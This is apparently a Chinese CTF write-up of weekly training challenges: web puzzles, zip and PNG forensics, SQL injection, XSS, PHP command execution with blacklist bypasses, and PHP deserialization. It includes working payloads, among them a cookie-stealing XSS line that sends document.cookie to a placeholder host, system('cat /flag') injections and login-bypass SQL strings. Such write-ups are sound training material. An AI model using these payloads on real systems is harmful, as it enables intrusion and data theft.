WEEK1 Web 1.vue-terminal 解法一 :
老老实实用cd
、ls
、cat
命令一步步找出下一个url
解法二 :
直接找网页源码,无后端,所以flag在前端文件里,一通瞎找最后在app.2fa07618.js
找到
1 2 3 4 5 6 7 methods : { onExecCmd (n, e, t, o ) { "flag" === n ? t ({ type : "html" , content : '\n <ul class="custom-content">\n <li class="t-dir">flag: ROIS{just_a_simple_linux_command_in_CTF}</li>\n </ul>\n <br>\n ' }) : o ("Unknown command" ) }
2.ez_maze
你能通关大土豆写的网页迷宫吗? 小土豆想看看源代码摸索摸索门道,但是这是什么??
解法一 :
如果不进行反混淆的话会发现这样一个常量
1 const flag = 'ROIS{Its_' + _0x2e725b(0x180) + _0x2e725b(0x17a) + _0x2e725b(0x16a);
直接在浏览器控制台输入flag这个常量,就会出现所对应的值
解法二 :
看到js这么一大坨类似乱码的,肯定是经过了混淆处理的,直接拖到反混淆工具里去(JavaScript Deobfuscator (dev-coco.github.io) ),最后在一串的代码中找到了
1 const flag = 'ROIS{Its_fun_to_play_maze_with_js!}';
解法三 :
由于是纯前端文件,所以也可以修改js代码实现弹出
1 2 3 4 5 6 7 function movePlayer (_0x2fa2ec, _0x1d96bc ) { const _0x4c26cf = _0x2e725b, _0x45acd1 = Math [_0x4c26cf (0x177 )](_0x1d96bc / cellSize), _0x118e43 = Math ['floor' ](_0x2fa2ec / cellSize); if (maze[_0x45acd1][_0x118e43] === 0x1 ) alert (_0x4c26cf (0x173 )), resetGame (), window [_0x4c26cf (0x168 )][_0x4c26cf (0x164 )] = '/' ; else maze[_0x45acd1][_0x118e43] === 0x2 ? (alert (_0x4c26cf (0x16e ) + flag), resetGame (), window [_0x4c26cf (0x168 )]['href' ] = '/' ) : (playerX = _0x118e43 * cellSize, playerY = _0x45acd1 * cellSize, clearCanvas (), drawMaze (), drawPlayer (playerX, playerY)); }
以上是关于flag弹出的代码,重点在后面一个else上,有一个三元运算符:?
进行条件的判定
1 else maze[_0x45acd1][_0x118e43] === 0x2 ? (alert (_0x4c26cf (0x16e ) + flag), resetGame (), window [_0x4c26cf (0x168 )]['href' ] = '/' ) : (playerX = _0x118e43 * cellSize, playerY = _0x45acd1 * cellSize, clearCanvas (), drawMaze (), drawPlayer (playerX, playerY));
直接爆改
1 2 3 4 5 6 function movePlayer (_0x2fa2ec, _0x1d96bc ) { const _0x4c26cf = _0x2e725b, _0x45acd1 = Math [_0x4c26cf (0x177 )](_0x1d96bc / cellSize), _0x118e43 = Math ['floor' ](_0x2fa2ec / cellSize); (alert (_0x4c26cf (0x16e ) + flag), resetGame (), window [_0x4c26cf (0x168 )]['href' ] = '/' ); }
就直接弹出flag了
解法四 :
最开始我以为要拖动红点然后鼠标放红点上,后面按两下回车把撞墙的弹窗关了,flag就弹出来了
3.easy_PDD
题目开始提示:一种基于ip的检测技术
盲猜就是发送请求头X-Forwarded-For (xxf)后跟不同的地址。bp,启动!!!
添加入请求头
1 X-Forwarded-For:233.233.233.233
四选一个数字设成playroad然后设置playroad类型为数值,设置100个以上的数字即可
4.HTTP_Challenge 1 2 3 4 5 6 7 8 9 this is GET method, your mission: 1.I need a GET param "ROIS" valued 405 2.I need a POST param "Vegetables" valued "Potato" 3.Please use admin character 4.request from 127.0.0.1 5.use browser 'ROISBrowser' Complete All Missions, and I'll give you the FLAG!!!
根据题目要求
1.get传参变量ROIS=405,方式就是直接在url后加?ROIS=405
2.POST传参变量Vegetables=Potato
3.Please use admin character
,使用hackbar抓包发送一次请求后再次抓包,发现cookie中存在这一变量,character=guest
,直接把guest改成admin即可
4.request from 127.0.0.1
与easy_PDD这一题一样的trick,设置X-Forwarded-For:127.0.0.1
5.use browser ‘ROISBrowser’(打开rois官网下载ROIS浏览器),设置useragent:ROISBrowse
Web作业 [极客大挑战 2019]Http 刚进来看到这个页面
然后一顿乱尝试,最后打开源码看到
1 <a style ="border:none;cursor:default;" onclick ="return false" href ="Secret.php" > 氛围</a >
style
属性将边框和光标变化去除,onclick
导致无法点击这个链接,在页面看起来和其他无差异
然后拼接url进入下一个页面
页面提示:It doesn’t come from ‘https://Sycsecret.buuoj.cn ‘
添加请求头:Referer:https://Sycsecret.buuoj.cn
页面提示:Please use “Syclover” browser
修改user-agent请求头:User-Agent:Syclover
页面提示:No!!! you can only read this locally!!!
locally大概率就是通过ip进行检测,添加请求头:X-Forwarded-For:127.0.0.1
最后成功拿到flag:flag{5d07ecd7-a0b7-4aa3-a3f7-fb7ec9afa6cb}
Misc easy_password_zip
听说太简单的密码会被爆破,尊嘟假嘟o.O
根据题目提示,直接拿到kali里面爆破(不得不说就给2核,kali跑的真的慢)
John是一款Kali linux自带的密码破解工具,支持密码本破解。John基于密码本破解
输入命令
1 2 3 zip2john flag.zip > flag .txt john flag.txt
跑了很久之后,获得密码:passw
pseudo_encryption_zip
土豆非常热爱爆破,小涂决定做一道永远不可能爆出密码的。
根据题目提示,zip被修改二进制数据后实现伪加密(发现MISC题目的hint全在题目上哈哈哈哈哈哈哈哈哈哈)
zip伪加密是在文件头的加密标志位做修改 ,进而再打开文件时识被别为加密压缩包。
做这题时候的参考文章:
CTF——MISC——zip伪加密总结_zip伪加密实验总结-CSDN博客
找到全局方式位标记(有无加密)发现都被改成了01 00
修改成00 00
再次打开压缩包就发现flag.txt没有被加密,打开即可获得flag
crc32_easy_zip
到底什么人会把文件拆开再放在一起压缩啊?小涂如是说。
PS: flag不含花括号。
打开发现都是小于12字节的txt文件(最开始以为是铭文碰撞,然后发现不行),然后再网上一通乱找,发现了对于字节比较少的txt文件可以进行crc32碰撞,最后将这些内容拼接起来就可以拿到答案了
LSB_png
小涂拿放大镜看瞎了眼,也没找到flag。
一顿搜索找到了工具:Stegsolve
打开加密图片后,选择Analyse-DataExtract
Bit Planes 选中Reg、Green、Blue的第0位
然后选择预览
获得flag
change_size_png 把图片拖到kali里面打开,然后发现图片打不开,估计就是图片的长宽高被修改了
一通梭哈,找到了个脚本通过crc32反推长宽高
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import structimport zlibdef hexStr2bytes (s ): b = b"" for i in range (0 ,len (s),2 ): temp = s[i:i+2 ] b +=struct.pack("B" ,int (temp,16 )) return b str1="49484452" str2="0806000000" bytes1=hexStr2bytes(str1) bytes2=hexStr2bytes(str2) wid,hei = 248 ,248 crc32 = "0x72571F5D" for w in range (wid,wid+2000 ): for h in range (hei,hei+2000 ): width = hex (w)[2 :].rjust(8 ,'0' ) height = hex (h)[2 :].rjust(8 ,'0' ) bytes_temp=hexStr2bytes(width+height) if eval (hex (zlib.crc32(bytes1+bytes_temp+bytes2))) == eval (crc32): print (hex (w),hex (h))
最后运行结果得出
1 2 PS C:\MISC\图片隐写> python 图片高宽检测.py 0xf8 0x19f
然后用101editor修改图片的相关参数,就可以得到flag
WEEK2 Web SQL注入小测试-easy 源码(黑盒测试,写题的时候是没有源码的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting (0 );$username = $_POST ["username" ];$password = $_POST ["password" ];$connect = mysqli_connect ("mysql" , "easy" , "easy" , "easy" );if (!$connect ) { die ("连接失败: " . mysqli_connect_error ()); } $sql = "SELECT * FROM users WHERE username='$username ' AND password='$password '" ;print ("<p>" . $sql . "</p>" );if ($result = mysqli_query ($connect , $sql )) { $row = mysqli_fetch_row ($result ); if ($row [1 ] == "admin" ) { print ("<p>" . $row [2 ] . "</p>" ); } else { print ("<p>进不去!怎么想我都进不去吧?!</p>" ); } } else { print ("<p>进不去!怎么想我都进不去吧?!</p>" ); } ?>
由于是黑盒测试,先向输入框写入语句,' or 1=1 #
判断一下注入,然后就直接弹出来flag了
SQL注入小测试-normal 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );$username = $_POST ["username" ];$password = $_POST ["password" ];$connect = mysqli_connect ("mysql" , "normal" , "normal" , "normal" );if (!$connect ) { die ("连接失败: " . mysqli_connect_error ()); } if ($username == "" || $password == "" ) { print ("<p>用户名或密码不能为空!</p>" ); } else { $sql = "SELECT * FROM users WHERE username='$username '' AND password='$password '" ; print ("<p>" . $sql . "</p>" ); if ($result = mysqli_query ($connect , $sql )) { $row = mysqli_fetch_row ($result ); if ($row ) { print ("<p>用户:" . $row [1 ] . " 欢迎登录!</p>" ); } else { print ("<p>用户: " . $username . " 不存在或密码错误!</p>" ); } } else { print ("<p>进不去!怎么想我都进不去吧?!</p>" ); } } ?>
同样的是黑盒测试,先向输入框写入语句,' or 1=1 #
判断一下注入,发现无论是在用户名处使用语句还是密码处使用语句 都是可以进行登录的,判断是直接进行sql的语句拼接,同时存在一个回显点 ,后使用联合注入法(文章:SQL注入-联合查询(union)注入 | WELLS Blog ),从爆数据库再到爆字段再到获得flag(写的比较简陋)
SQL注入小测试-hard 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );$username = $_POST ["username" ];$password = $_POST ["password" ];$connect = mysqli_connect ("mysql" , "hard" , "hard" , "hard" );if (!$connect ) { die ("连接失败: " . mysqli_connect_error ()); } if ($username == "" || $password == "" ) { print ("<p>用户名或密码不能为空!</p>" ); } else { $sql = "SELECT * FROM users WHERE username='$username ' AND password='$password '" ; print ("<p>" . $sql . "</p>" ); if ($result = mysqli_query ($connect , $sql )) { $row = mysqli_fetch_row ($result ); if ($row ) { print ("<p>欢迎登录!</p>" ); } else { print ("<p>用户: " . $username . " 不存在或密码错误!</p>" ); } } else { print ("<p>进不去!怎么想我都进不去吧?!</p>" ); } } ?>
与之前相同的黑盒测试,写入语句' or 1=1 #
判断一下注入,同样发现无论是在用户名处使用语句还是密码处使用语句 都是可以进行登录的,判断也是直接进行sql的语句拼接
与之前不同的是不存在回显点 ,后使用布尔忙注法(文章:SQL注入-布尔盲注 | WELLS Blog ),推荐使用脚本进行,与前面相同的顺序从爆数据库再到爆字段再到爆flag
WEEK3 Web xss-1 xss入门题目,一通观察源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <script> function report ( ){ document .location = `http://${document .location.hostname} :8001/report.html?e=` +btoa (document .querySelector ('#input-textarea' ).value ) } function execute (payload ){ try { let parsed = acorn.parse (payload, { ecmaVersion : 'latest' }).body ; alert (eval (payload)); } catch (e){ alert ('Error: ' +e); } } window .onload = _ => { let p = (new URLSearchParams (document .location .search )).get ('e' ); if (p) execute (atob (p)); } </script>
alert(eval(payload));
发现输入的指令最后通过eval执行,并且没有对其进行任何的过滤,题目的flag最后在robot用户
的cookie中,直接构造playroad,1+window.open('http://xxxxxxxxxxxx.com/?${document.cookie}' )
,借助最后webhook.site
最后在url可以拿到flag
ez_rce 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php highlight_file (__FILE__ );class backDoor { public $param ; static function evalTest ($param ) { eval ($param ); } } if (@$_GET ['a' ] === "ok" ){ backDoor ::evalTest ($_GET ['b' ]); }
eval
函数可以动态执行字符串中的 PHP 代码
backDoor::evalTest($_GET['b']);
调用 backDoor
类的静态方法 evalTest
,执行 eval($param);
语句,flag文件一般位于根目录
由此可以构造出playroad:?a=ok&b=system('cat /flag');
其中的system()
函数可以执行系统命令,与此函数类似的还有system(),exec(),shell_exec(),passthru(), pcntl_exec(), popen(), proc_open(),反引号
ez_rce_plus? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php highlight_file (__FILE__ );if (@$_SERVER ['HTTP_KEY' ] !== "Nzc2NTZjNjU2MzZmNmQ2NTVmNzQ2ZjVmNzI2ZjY5NzMyMQ==" ) die ("authentication failed!!" ); else { $nameFunction = htmlspecialchars (@$_POST ["function" ]); unset ($_POST ["function" ]); if (!$nameFunction ) $nameFunction = htmlspecialchars (@$_POST ["action" ]); unset ($_POST ["action" ]); $nameFunction = waf ($nameFunction ); $nameFunction = explode ("/" ,$nameFunction ); $nameFunction = $nameFunction [1 ]; if ($nameFunction ){ $params = array (); forEach ($_POST as $key => $item ){ $item = waf ($item ); array_push ($params , $item ); unset ($_POST [$key ]); } $base64 = false ; if (isset ($_SERVER ["HTTP_BASE64" ])){ $base64 = $_SERVER ["HTTP_BASE64" ] === 'true' ? true : false ; } $params = join ("','" , $params ); $eval = $nameFunction ."('" .$params ."')" ; $return = eval ('return ' .$eval .";" ); echo jsonEncode ($return , $base64 ); } } function jsonEncode ($value , $base64_encode = true ) { $value = json_encode ($value , JSON_PRETTY_PRINT); if ($base64_encode ) $value = base64_encode ($value ); return $value ; } function waf ($input ) { $blacklist = ['system' , 'exec' , 'flag' ]; foreach ($blacklist as $word ) { $input = str_replace ($word , '' , $input ); } return $input ; }
首先解决
1 if (@$_SERVER ['HTTP_KEY' ] !== "Nzc2NTZjNjU2MzZmNmQ2NTVmNzQ2ZjVmNzI2ZjY5NzMyMQ==" )
在http加入请求头key: Nzc2NTZjNjU2MzZmNmQ2NTVmNzQ2ZjVmNzI2ZjY5NzMyMQ==
(这一串最后解码后发现是welecome_to_rois!
小彩蛋?)。
然后读代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $nameFunction = htmlspecialchars (@$_POST ["function" ]); unset ($_POST ["function" ]); if (!$nameFunction ) $nameFunction = htmlspecialchars (@$_POST ["action" ]); unset ($_POST ["action" ]); $nameFunction = waf ($nameFunction ); $nameFunction = explode ("/" ,$nameFunction ); $nameFunction = $nameFunction [1 ]; if ($nameFunction ){ $params = array (); forEach ($_POST as $key => $item ){ $item = waf ($item ); array_push ($params , $item ); unset ($_POST [$key ]); } $base64 = false ; if (isset ($_SERVER ["HTTP_BASE64" ])){ $base64 = $_SERVER ["HTTP_BASE64" ] === 'true' ? true : false ; } $params = join ("','" , $params ); $eval = $nameFunction ."('" .$params ."')" ; $return = eval ('return ' .$eval .";" ); echo jsonEncode ($return , $base64 ); }
最后eval
函数执行的是$_POST["action"]
中从左到右第一个/
后的字段,并最后拼接字段$eval
形成这样一个结果
此时函数就可以考虑利用system()
等函数读取根目录下的flag文件,这个过程中就会遇到一个waf函数
1 2 3 4 5 6 7 8 9 function waf($input) { $blacklist = ['system', 'exec', 'flag']; foreach ($blacklist as $word) { $input = str_replace($word, '', $input); } return $input; }
对'system', 'exec', 'flag'
三个敏感词进行替换,这种可以直接进行双写绕过即可(即system
写成syssystemtem
)
最后的playroad
可以写成action=syssystemtem&wells=cat /flflagag
,其中第二个名称可以随便设立
ez_rce_with_full_waf? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php highlight_file (__FILE__ );if (@$_SERVER ['HTTP_KEY' ] !== "Nzc2NTZjNjU2MzZmNmQ2NTVmNzQ2ZjVmNzI2ZjY5NzMyMQ==" ) die ("authentication failed!!" ); else { $nameFunction = htmlspecialchars (@$_POST ["function" ]); unset ($_POST ["function" ]); $nameFunction = waf ($nameFunction ); if (!$nameFunction ) $nameFunction = htmlspecialchars (@$_POST ["action" ]); unset ($_POST ["action" ]); $nameFunction = explode ("/" ,$nameFunction ); $nameFunction = $nameFunction [1 ]; if ($nameFunction ){ $params = array (); forEach ($_POST as $key => $item ){ $item = waf ($item ); array_push ($params , $item ); unset ($_POST [$key ]); } $base64 = false ; if (isset ($_SERVER ["HTTP_BASE64" ])){ $base64 = $_SERVER ["HTTP_BASE64" ] === 'true' ? true : false ; } $params = join ("','" , $params ); $eval = $nameFunction ."('" .$params ."')" ; $return = eval ('return ' .$eval .";" ); echo jsonEncode ($return , $base64 ); } } function jsonEncode ($value , $base64_encode = true ) { $value = json_encode ($value , JSON_PRETTY_PRINT); if ($base64_encode ) $value = base64_encode ($value ); return $value ; } function waf ($input ) { $blacklist = ['system' , 'exec' , 'flag' ,'`' ,'eval' ,'call' ,'$' ,'php' ,'require' , '_' , 'file' ,'show' , 'include' , '\'' , '"' , '.' , '<' , '>' ]; foreach ($blacklist as $word ) { $input = str_replace ($word , 'hack!' , $input ); } return $input ; }
与上一题不同的是本题的waf()函数,限制更多且不能进行双写绕过(敏感词会变成hack!
,而不是去除)
1 2 3 4 5 6 7 8 9 function waf ($input ) { $blacklist = ['system' , 'exec' , 'flag' ,'`' ,'eval' ,'call' ,'$' ,'php' ,'require' , '_' , 'file' ,'show' , 'include' , '\'' , '"' , '.' , '<' , '>' ]; foreach ($blacklist as $word ) { $input = str_replace ($word , 'hack!' , $input ); } return $input ; }
如果直接使用$_POST["function"]
可以考虑用其他的执行系统命令的函数shell_exec(),passthru(), pcntl_exec(), popen(), proc_open()
,但在代码中,有一处漏洞:
1 if(!$nameFunction) $nameFunction = htmlspecialchars(@$_POST["action"]); unset($_POST["action"]);
此时的$nameFunction
,没有进行任何的waf过滤,因此可以不设置$_POST["function"]
参数而使用$_POST["action"]
,对于flag
这个词的绕过,可以使用linux
系统的通配符如?
、[]
,将flag
写成fla?
最后的playroad
可以写成action=system&wells=cat /fla?
,其中第二个名称可以随便设立
unserialize-1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php $flag = 'ROIS{test}' ;class Name { public $name ; public $password ; public function __get ($name ) { echo $this ->name; return $name ; } public function __wakeup ( ) { if ($this ->password!=null ){ echo $this ->password; } else { echo $this ->name; } } public function __toString ( ) { global $flag ; echo $flag ; return "nice" ; } } unserialize ($_GET ['input' ]);
unserialize()
函数进行反序列化的函数(序列化与反序列化概念:一文搞懂序列化与反序列化 )
然后有关于__wakeup()
和__toString()
的两个魔术方法
__wakeup()
在反序列的过程中会自动调用
1 2 3 4 5 6 7 8 public function __wakeup ( ) { if ($this ->password!=null ){ echo $this ->password; } else { echo $this ->name; } }
如果此反序列化后的对象的password
变量不为空,会打变量password
反之打印name
变量
__toString()
在将对象被作为字符串中过程中会自动调用
1 2 3 4 5 public function __toString() { global $flag; echo $flag; return "nice"; }
触发__toString()
就可以打印出flag,所以本题的关键就是将对象被作为字符串中过程中会自动调用,而唯一有可能的就是反序列化过程中自动触发的echo
联想出将这个对象的name变量
的值也是对象,password变量
的值为空即可,即
使用s:45:"O:4:"Name":2:{s:4:"name";N;s:8:"password";N;}"
即可